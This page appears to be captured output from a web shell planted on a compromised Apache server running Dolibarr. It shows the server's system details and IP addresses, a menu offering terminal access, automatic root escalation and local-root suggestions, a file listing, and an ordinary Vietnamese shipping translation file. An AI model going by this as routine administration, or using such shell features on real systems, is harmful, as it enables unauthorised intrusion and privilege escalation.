Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
bdc.bdcloud.fr /
langs /
vi_VN /
Delete
Unzip
Name
Size
Permission
Date
Action
accountancy.lang
37.36
KB
-rwxr-x---
2023-04-04 15:47
admin.lang
201.32
KB
-rwxr-x---
2023-04-04 15:47
agenda.lang
10.14
KB
-rwxr-x---
2023-04-04 15:47
assets.lang
2.06
KB
-rwxr-x---
2023-04-04 15:47
banks.lang
9.55
KB
-rwxr-x---
2023-04-04 15:47
bills.lang
40.53
KB
-rwxr-x---
2023-04-04 15:47
blockedlog.lang
6.76
KB
-rwxr-x---
2023-04-04 15:47
bookmarks.lang
1.13
KB
-rwxr-x---
2023-04-04 15:47
boxes.lang
7.71
KB
-rwxr-x---
2023-04-04 15:47
cashdesk.lang
6.48
KB
-rwxr-x---
2023-04-04 15:47
categories.lang
5.69
KB
-rwxr-x---
2023-04-04 15:47
commercial.lang
4.47
KB
-rwxr-x---
2023-04-04 15:47
companies.lang
20.25
KB
-rwxr-x---
2023-04-04 15:47
compta.lang
20.9
KB
-rwxr-x---
2023-04-04 15:47
contracts.lang
6.25
KB
-rwxr-x---
2023-04-04 15:47
cron.lang
7
KB
-rwxr-x---
2023-04-04 15:47
datapolicy.lang
4.4
KB
-rwxr-x---
2023-04-04 15:47
deliveries.lang
1.54
KB
-rwxr-x---
2023-04-04 15:47
dict.lang
8.92
KB
-rwxr-x---
2023-04-04 15:47
donations.lang
1.63
KB
-rwxr-x---
2023-04-04 15:47
ecm.lang
3.2
KB
-rwxr-x---
2023-04-04 15:47
errors.lang
37.62
KB
-rwxr-x---
2023-04-04 15:47
eventorganization.lang
9.16
KB
-rwxr-x---
2023-04-04 15:47
exports.lang
12.71
KB
-rwxr-x---
2023-04-04 15:47
help.lang
1.47
KB
-rwxr-x---
2023-04-04 15:47
holiday.lang
8.45
KB
-rwxr-x---
2023-04-04 15:47
hrm.lang
3.34
KB
-rwxr-x---
2023-04-04 15:47
install.lang
22.95
KB
-rwxr-x---
2023-04-04 15:47
interventions.lang
4.49
KB
-rwxr-x---
2023-04-04 15:47
intracommreport.lang
1.38
KB
-rwxr-x---
2023-04-04 15:47
knowledgemanagement.lang
1.89
KB
-rwxr-x---
2023-04-04 15:47
languages.lang
3.29
KB
-rwxr-x---
2023-04-04 15:47
ldap.lang
1.85
KB
-rwxr-x---
2023-04-04 15:47
link.lang
634
B
-rwxr-x---
2023-04-04 15:47
loan.lang
1.61
KB
-rwxr-x---
2023-04-04 15:47
mailmanspip.lang
1.89
KB
-rwxr-x---
2023-04-04 15:47
mails.lang
12.39
KB
-rwxr-x---
2023-04-04 15:47
main.lang
44.46
KB
-rwxr-x---
2023-04-04 15:47
margins.lang
4.1
KB
-rwxr-x---
2023-04-04 15:47
members.lang
15.42
KB
-rwxr-x---
2023-04-04 15:47
modulebuilder.lang
17.35
KB
-rwxr-x---
2023-04-04 15:47
mrp.lang
7.02
KB
-rwxr-x---
2023-04-04 15:47
multicurrency.lang
2.02
KB
-rwxr-x---
2023-04-04 15:47
oauth.lang
2.16
KB
-rwxr-x---
2023-04-04 15:47
opensurvey.lang
4.64
KB
-rwxr-x---
2023-04-04 15:47
orders.lang
10.84
KB
-rwxr-x---
2023-04-04 15:47
other.lang
22.05
KB
-rwxr-x---
2023-04-04 15:47
partnership.lang
3.62
KB
-rwxr-x---
2023-04-04 15:47
paybox.lang
2.4
KB
-rwxr-x---
2023-04-04 15:47
paypal.lang
2.67
KB
-rwxr-x---
2023-04-04 15:47
printing.lang
2.92
KB
-rwxr-x---
2023-04-04 15:47
productbatch.lang
2.4
KB
-rwxr-x---
2023-04-04 15:47
products.lang
23.46
KB
-rwxr-x---
2023-04-04 15:47
projects.lang
20.25
KB
-rwxr-x---
2023-04-04 15:47
propal.lang
5.96
KB
-rwxr-x---
2023-04-04 15:47
receiptprinter.lang
3.67
KB
-rwxr-x---
2023-04-04 15:47
receptions.lang
3.16
KB
-rwxr-x---
2023-04-04 15:47
recruitment.lang
3.09
KB
-rwxr-x---
2023-04-04 15:47
resource.lang
1.6
KB
-rwxr-x---
2023-04-04 15:47
salaries.lang
1.76
KB
-rwxr-x---
2023-04-04 15:47
sendings.lang
4.03
KB
-rwxr-x---
2023-04-04 15:47
sms.lang
2.16
KB
-rwxr-x---
2023-04-04 15:47
stocks.lang
20.7
KB
-rwxr-x---
2023-04-04 15:47
stripe.lang
6.54
KB
-rwxr-x---
2023-04-04 15:47
supplier_proposal.lang
3.12
KB
-rwxr-x---
2023-04-04 15:47
suppliers.lang
2.6
KB
-rwxr-x---
2023-04-04 15:47
ticket.lang
21.44
KB
-rwxr-x---
2023-04-04 15:47
trips.lang
8.46
KB
-rwxr-x---
2023-04-04 15:47
users.lang
8.14
KB
-rwxr-x---
2023-04-04 15:47
website.lang
16.41
KB
-rwxr-x---
2023-04-04 15:47
withdrawals.lang
10.77
KB
-rwxr-x---
2023-04-04 15:47
workflow.lang
4.08
KB
-rwxr-x---
2023-04-04 15:47
zapier.lang
1.19
KB
-rwxr-x---
2023-04-04 15:47
Save
Rename
# Dolibarr language file - Source file is en_US - sendings RefSending=Tài liệu tham khảo. lô hàng Sending=Lô hàng Sendings=Lô hàng AllSendings=Tất cả các lô hàng Shipment=Lô hàng Shipments=Lô hàng ShowSending=Hiển thị lô hàng Receivings=Biên nhận giao hàng SendingsArea=Diện tích lô hàng ListOfSendings=Danh sách các lô hàng SendingMethod=Phương thức vận chuyển LastSendings=Lô hàng %s mới nhất StatisticsOfSendings=Thống kê cho lô hàng NbOfSendings=Số lô hàng NumberOfShipmentsByMonth=Số lô hàng theo tháng SendingCard=Thẻ hàng NewSending=Lô hàng mới CreateShipment=Tạo lô hàng QtyShipped=Số lượng vận chuyển QtyShippedShort=S.lượng lô hàng QtyPreparedOrShipped=S.lượng chuẩn bị hoặc v.chuyển QtyToShip=S.lượng v.chuyển QtyToReceive=S.lượng nhận QtyReceived=S.lượng nhận được QtyInOtherShipments=S.lượng trong các lô hàng khác KeepToShip=Còn lại để vận chuyển KeepToShipShort=Còn lại OtherSendingsForSameOrder=Lô hàng khác về đơn hàng này SendingsAndReceivingForSameOrder=Lô hàng và biên nhận cho đơn đặt hàng này SendingsToValidate=Xác nhận lô hàng StatusSendingCanceled=Hủy bỏ StatusSendingCanceledShort=Đã hủy StatusSendingDraft=Dự thảo StatusSendingValidated=Xác nhận (sản phẩm để vận chuyển hoặc đã được vận chuyển) StatusSendingProcessed=Xử lý StatusSendingDraftShort=Dự thảo StatusSendingValidatedShort=Xác nhận StatusSendingProcessedShort=Xử lý SendingSheet=Lô hàng ConfirmDeleteSending=Bạn có chắc chắn muốn xóa lô hàng này? ConfirmValidateSending=Bạn có chắc chắn muốn xác nhận lô hàng này với tham chiếu <b>%s</b> ? ConfirmCancelSending=Bạn có chắc chắn muốn hủy lô hàng này? DocumentModelMerou=Mô hình Merou A5 WarningNoQtyLeftToSend=Cảnh báo, không có sản phẩm chờ đợi để được vận chuyển. StatsOnShipmentsOnlyValidated=Statistics are only for validated shipments. Date used is the date of validation of shipment (planned delivery date is not always known) DateDeliveryPlanned=Ngày giao hàng theo kế hoạch RefDeliveryReceipt=Tham chiếu biên nhận giao hàng StatusReceipt=Trạng thái biên nhận giao hàng DateReceived=Đã nhận ngày giao hàng ClassifyReception=Phân loại tiếp nhận SendShippingByEMail=Gửi hàng qua email SendShippingRef=Nộp hồ sơ lô hàng %s ActionsOnShipping=Các sự kiện trên lô hàng LinkToTrackYourPackage=Liên kết để theo dõi gói của bạn ShipmentCreationIsDoneFromOrder=For the moment, creation of a new shipment is done from the Sales Order record. ShipmentLine=Đường vận chuyển ProductQtyInCustomersOrdersRunning=Số lượng sản phẩm từ các đơn bán hàng mở ProductQtyInSuppliersOrdersRunning=Số lượng sản phẩm từ đơn mua hàng mở ProductQtyInShipmentAlreadySent=Số lượng sản phẩm từ đơn bán hàng mở đã được gửi ProductQtyInSuppliersShipmentAlreadyRecevied=Số lượng sản phẩm từ các đơn mua hàng mở đã nhận được NoProductToShipFoundIntoStock=Không có sản phẩm nào được tìm thấy trong kho <b>%s</b> . Làm đúng tồn kho hoặc quay trở lại để chọn một kho khác. WeightVolShort=Trọng lượng / Khối lượng. ValidateOrderFirstBeforeShipment=Trước tiên, bạn phải xác nhận đơn đặt hàng trước khi có thể thực hiện chuyển hàng. # Sending methods # ModelDocument DocumentModelTyphon=Mô hình tài liệu đầy đủ hơn cho hóa đơn giao hàng (logo ...) DocumentModelStorm=More complete document model for delivery receipts and extrafields compatibility (logo...) Error_EXPEDITION_ADDON_NUMBER_NotDefined=EXPEDITION_ADDON_NUMBER liên tục không được xác định SumOfProductVolumes=Tổng khối lượng sản phẩm SumOfProductWeights=Tổng trọng lượng sản phẩm # warehouse details DetailWarehouseNumber= Chi tiết kho DetailWarehouseFormat= W: %s (Số lượng: %d)